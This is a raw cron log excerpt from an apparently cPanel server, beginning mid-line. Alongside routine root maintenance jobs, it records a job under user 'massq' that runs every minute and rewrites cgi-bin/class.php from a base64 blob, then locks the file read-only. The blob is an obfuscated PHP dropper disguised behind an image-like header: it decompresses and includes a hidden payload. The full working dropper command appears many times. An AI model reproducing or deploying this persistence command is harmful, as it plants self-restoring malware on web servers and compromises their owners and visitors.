"$fp")
Sep  2 21:31:01 server CROND[6933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:31:01 server CROND[6934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:31:01 server CROND[6935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:32:01 server CROND[7307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:32:01 server CROND[7308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:32:01 server CROND[7309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:33:01 server CROND[7681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:33:01 server CROND[7682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:33:01 server CROND[7683]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:34:02 server CROND[8077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:34:02 server CROND[8078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:34:02 server CROND[8079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:35:01 server CROND[8560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:35:01 server CROND[8562]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:35:01 server CROND[8563]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:35:01 server CROND[8569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:35:01 server CROND[8565]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 21:35:01 server CROND[8564]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 21:35:01 server CROND[8568]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 21:35:01 server CROND[8567]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 21:35:01 server CROND[8566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:36:01 server CROND[9420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:36:01 server CROND[9421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:36:01 server CROND[9422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:37:01 server CROND[9794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:37:01 server CROND[9795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:37:01 server CROND[9796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:38:01 server CROND[10171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:38:01 server CROND[10172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:38:01 server CROND[10173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:39:01 server CROND[10542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:39:01 server CROND[10543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:39:01 server CROND[10544]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 21:39:01 server CROND[10545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:40:01 server CROND[10943]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:40:01 server CROND[10944]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 21:40:01 server CROND[10948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:40:01 server CROND[10950]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:40:01 server CROND[10951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:40:01 server CROND[10947]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 21:40:01 server CROND[10949]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 21:40:01 server CROND[10946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:41:01 server CROND[11762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:41:01 server CROND[11763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:41:01 server CROND[11764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:42:01 server CROND[12229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 21:42:01 server CROND[12230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:42:01 server CROND[12231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:42:01 server CROND[12232]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 21:43:01 server CROND[12639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
